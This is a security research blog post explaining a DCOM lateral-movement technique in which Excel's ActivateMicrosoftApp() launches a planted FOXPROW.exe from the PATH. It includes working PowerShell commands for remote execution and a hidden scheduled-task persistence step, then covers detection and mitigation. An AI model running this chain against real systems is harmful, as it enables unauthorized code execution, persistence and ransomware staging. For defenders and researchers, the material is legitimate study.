In this post, we will talk about an interesting lateral movement technique called ActivateMicrosoftApp() method within the distributed component object model (DCOM) Excel application. This technique is built upon Matt Nelson’s initial research on “Lateral Movement using Excel.Application and DCOM”.

What is DCOM?

DCOM is a Microsoft solution that allows software components to communicate remotely. Its predecessor, component object model (COM), lacked distributed computing functionality, so Microsoft introduced DCOM to serve the need of software components to communicate across the network. Basically, DCOM allows a client application to remotely instantiate a COM server object on another machine and utilize its methods. It operates on top of the remote procedure call (RPC) transport protocol based on TCP/IP for its network communications; specifically, it uses the ncacn_ip_tcp protocol sequence, where:

• ncacn stands for "Connection-Oriented Network Computing Architecture."
• ip_tcp specifies the use of TCP/IP.

In practical terms, when you see this protocol sequence, it indicates that RPC is using TCP/IP for network communications in a connection-oriented manner.

How does COM work?

COM objects must be configured properly on both client and server. The Windows Registry stores the DCOM configuration data in three identifiers:

• CLSID — The class identifier (CLSID) is a global unique identifier (GUID) which represents a unique ID for any application components in Windows; an example of CLSID is “{00020812–0000–0000-C000–000000000046}”
• ProgID — The program identifier (ProgID) is an optional identifier registry entry which is linked to CLSID; unlike CLSID, ProgID is not a complex GUID format but a human readable format like “Excel.Application”
• APPID — The application identifier (AppID) identifies all the classes that are part of the same executable and the permissions required to access it; it will most likely throw an error if the correct AppID is not used

The basic flow of communication is like this:

1. To create an object on the remote computer, the client provides a request with the CLSID, PROGID or APPID
2. The remote machine performs a validation to determine whether it has permission to create an object (i.e., requires administrator privileges)
3. If the remote machine has the correct permissions, it will use DCOMLaunch.exe or DLLHOST.exe and start the instance
4. After successful communication, the client will have access to all the functions and methods on the remote computer

This was a quick overview of DCOM to learn more read here.

DCOM Exploitation Using Excel’s ActivateMicrosoftApp() Method

Before we begin, there are some prerequisites for this attack:

• Requires local admin privilege on the target
• Requires Microsoft Excel installed on the target
• Ability to remotely write a file in the system PATH
• Tested on Windows 10 and 11
• Tested on 64-bit installation of Office 365

While enumerating different methods of Excel objects, we discovered the ActivateMicrosoftApp() method could be used to get shell access because Microsoft still supports activation of some end of life (EOL) software such as FoxPro, Schedule Plus, and Office Project. It is unlikely that any of these legacy applications will be installed on modern environments, but we could abuse this vulnerability for lateral movement and persistence techniques.

According to Microsoft’s documentation, the ActivateMicrosoftApp() method activates a Microsoft application. If this application is already running, this method activates the running application. If the application is not running, this method starts a new instance of the application as the launching user or the currently logged on user based on how DCOM was configured. The ActivateMicrosoftApp() method takes one parameter which specifies the Microsoft application to activate.

When this method is invoked, it scans the system PATH to run the associated binary. For instance, if we provide the value “5,” which corresponds to Microsoft’s FoxPro application, the ActivateMicrosoftApp() method will seek the FOXPROW.exe binary within the system PATH.

However, if the application is not present on the system ActivateMicrosoftApp() will throw an error that it “Cannot run ‘FOXPROW.exe’. The program or one of its components is damaged or missing.” After some research, we utilized Process Monitor to further investigate underlying operations.

The Excel.exe process attempted to locate the FOXPROW.exe binary file within the system PATH; however, since the application is not installed, it returned an error instead. In order to abuse this, we have to identify write permissions within the system PATH. The location where users most commonly have write permission to the PATH is:

C:\users\*\AppData\Local\Microsoft\WindowsApps\

The FoxPro application is no longer supported since January 2010, and it is unlikely to exist on any modern environment. So, if we manage to upload a malicious binary with the name “FOXPROW.exe” and place it in the above folder, then our malicious binary will execute and provide us access to the target machine.

copy c:\windows\system32\calc.exe '\\192.168.49.160\c$\users\user\AppData\local\Microsoft\WindowsApps\foxprow.exe'
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.49.160"))
$com.ActivateMicrosoftApp("5")

In certain situations, you may receive the below error due to the absence of Excel on the machine initiating the attack. The GetTypeFromProgIDmethod looks for an associated CLSID in the registry of the local computer and if it is not able to map the ProgID to CLSID, the following error will occur:

Alternatively, we could use CLSID instead of ProgID to identify the Excel COM class object. Please note that CLSID can differ between various versions of Excel.

$com = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("00020812-0000-0000-C000-000000000046","192.168.49.160"))
$com.application.ActivateMicrosoftApp("5")

This technique is not limited to Microsoft FoxPro (FOXPROW.exe corresponds to xlMicrosoftFoxPro or 5) but other legacy applications such as Microsoft Schedule Plus (SCHDPLUS.exe corresponds to xlMicrosoftSchedulePlus or 7) and Project (WINPROJ.exe corresponds to xlMicrosoftProject or 6) could be abused as well.

This technique is not limited to Microsoft FoxPro (FOXPROW.exe corresponds to xlMicrosoftFoxPro or 5), but other legacy applications such as Microsoft Schedule Plus (SCHDPLUS.exe corresponds to xlMicrosoftSchedulePlus or 7) and Project (WINPROJ.exe corresponds to xlMicrosoftProject or 6) can be abused as well.

To automate this attack, check out SharpExShell.

Persistence

This technique could be used for persistence once we have established a foothold on a machine that has Microsoft Office installed. First, develop a PowerShell script that initializes an instance of the Excel.Application object via DCOM and invokes the ActivateMicrosoftApp() method on the localhost. Then, create a scheduled task configured to run at specific intervals, which will execute the PowerShell script we created. Ultimately, ensure that FOXPROW.exe is placed within the system PATH and wait for the scheduled task to execute.

PS C:\Users\User\Desktop> cat .\ExcelPersistence.ps1
$com = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","localhost"))
$com.ActivateMicrosoftApp("5")
PS C:\Users\User\Desktop> copy C:\windows\system32\calc.exe C:\Users\user\AppData\Local\Microsoft\WindowsApps\foxprow.exe
PS C:\Users\User\Desktop> schtasks /create /tn ExcelPersistence /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'C:\users\user\desktop\ExcelPersistence.ps1'" /sc onidle /i 5
PS C:\Users\User\Desktop> schtasks.exe /run /tn ExcelPersistence

Post Exploitation

Once we have compromised Domain Admin within a network, this technique grants us the ability to establish a reverse shell on any workstation where Microsoft Office is installed in a non-traditional way. Since administrators have write privileges to the C:\Program Files\Microsoft Office\Office16 directory, we can upload our malicious file there or in any other folder within the system PATH.

Note: The initial location where the ActivateMicrosoftApp() method searches for FOXPROW.exe is within the C:\Program Files\Microsoft Office\root\Office16 folder.

Impact

This technique can have a significant impact since it allows attackers to execute malicious executable on any machine that has Microsoft Office installed, given administrative rights to that machine. It could be abused by attackers in a ransomware scenario. The malicious actor has the capability to upload malware, place it within the PATH, and then run the malware by executing the ActivateMicrosoftApp() method.

Detection

In general, DCOM security is a bit challenging because there are many applications that support DCOM models for re-usability and each application requires its own security configuration. DCOM also maintains its own set of access control lists (ACLs) which define the users or groups that have access to a component of a certain class. Additionally, DCOM utilizes Windows authentication mechanisms like NTLM or Kerberos.

Each application component has its own permissions (e.g., users that are allowed to launch and activate the COM server, users that have access permission, users that have component configuration permission, etc.). The biggest complication is that a user might be blocked from accessing Microsoft Excel COM class objects but has privileges to access Microsoft Word COM class objects. This can complicate DCOM security within an enterprise environment, but there are few actions we could take to detect and mitigate this attack.

To detect this attack, defenders can look for a child process spawning off of Excel.exe. If the following processes are spawned as a child process of Excel.exe, then you should investigate further:

• FOXPROW.exe
• SCHDPLUS.exe
• WINPROJ.exe

Another detection method involves monitoring for network anomalies. For instance, if RPC communication between two machines is unusual within your environment, you might want to investigate it further.

To learn more about security of DCOM read here.

Mitigation

To mitigate this attack, consider configuring the user identity located under Component Services > Computers > My Computer > DCOM Config > Microsoft Excel Application > Properties. There are three options available:

• The interactive user — runs Excel as the currently logged on user’s security context
• The launching user — runs Excel under the security context of the user launching it
• This user — runs Excel under a specific user’s security context

Configure the “This user” option to a user with minimal privilege. Since attackers will now have to jump another hop to escalate privileges, this dramatically reduces the potential impact.

Lastly, the concept of least privilege should be applied to limit the number of local administrators with access to workstations and servers, thus decreasing the chance of an attacker successfully being able to upload malware.

To learn more about mitigation read here.

Credits

Big thanks to Duane Michael, Jared Atkinson, Matt Nelson and others who have helped review the blog post. Please reach out on X for your thoughts. I am curious to know other creative ways this technique could be abused. Thank you for reading!